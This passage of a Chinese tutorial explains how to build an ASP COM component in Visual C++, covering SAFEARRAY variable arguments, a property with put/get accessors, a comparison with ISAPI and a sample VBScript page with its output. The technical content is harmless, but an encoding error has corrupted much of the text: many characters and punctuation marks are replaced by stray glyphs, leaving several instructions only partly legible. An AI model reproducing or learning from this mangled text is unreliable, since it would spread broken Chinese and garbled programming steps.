5.对于不定个数参数Q可使用SAFEARRAYQ但使用Ҏ较ؓ复杂。可以在参数中输入如下的内容[in]SAFEARRAY arrayQƈ按Attribute…按钮,在Name中选择vararg。按定后修改idl文g在把[in]SAFEARRAY array改ؓ[in]SAFEARRAY(VARIANT) array。然后再打开MyComponent.h文g把该函数的参数SAFEARRAY array改ؓSAFEARRAY* array。再打开MyComponent.cpp文g修改参数Q在函数体内使用COleSafeArraycd现该参数的控Ӟ如“COleSafeArray SArray(array,VT_BSTR)”,具体操作可查阅MSDN中的该类的成员函数?
四、添加接口属?
在ClassView中,叛_ImyComponent,在出现的菜单中按Add Property。如图,在Property中可选择属性类型如floatQ在下面可写上属性名如MyFloat。保持其他不变。这里需要说明的是在生成的put_MyFloat和get_MyFloat函数体中的书写?
不妨举个例Q?
1.在CMyComponent 中添加成员变量m_myFloat
2.在put_MyFloat 中写上:m_myFloat=newVal;
3.在get_MyFloat中写上:*pVal=m_myFloat
有成员变量也是它优于ISAPI的一个地方,在ISAPI中要在网间传递信息,只能通过URL参数或者是Cookie来实玎ͼ因ؓ每次调用都是一ơ新的链接,无法在网之间仍然是同一ơ调用DLL,所以设|成员变量意义不大,只在一ơ调用中有用。而那两种Ҏ都只能传递很有限的字W,除非利用创徏服务器端临时文gQ此Ҏ很不好)。再_ASP中的Session对象本n是很好的存储信息的对象?
xQ我们创Z一个非常简单的没有什么功能的ASPlgQ意在说明如何制作。下面,我们书写一个简单的ASP|页Q来看看如何使用。网如下:
<%@ Language=VBScript %>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
</HEAD>
<BODY>
<%
Set Obj=Server.CreateObject("MyStudio.MyComponent")
j=Obj.InitMyComp(5)
Response.Write(j)
%>
<p>
<%
Obj.MyFloat=3.9
j=Obj.MyFloat
Response.Write(j)
%>
<p>
<%
str1="abcd"
str2=Obj.StrConv(str1)
Response.Write(str2)
%>
</BODY>
</HTML>
昄l果为:
5
3.9
abc
也许Q你现在q看不到~写ASPlg的巨大魅力。但是,如果你正在编写搜索引擎,文g上传Q自动回复,{等的高U网制作,你若能够充分的利用VC++的优编E手D,׃必在CGIQISAPI中苦苦挣扎,可以比较方便的编写这些功能。比方说用户惛_你的|页上搜索几个著名新ȝ站上当前的重要新闻,你就可以使用ASPlg在后台实时的打开各网站获得信息,{选匹配后昄l用戗又比方_当注册用户告知他的email地址Q你可以利用ASPlg自动l新注册用户发出认信函Q用最快的方式让用户去认q注册成功……其实,你一定还有很多新的想法可以在|页上得以实玎ͼ赶快行动吧?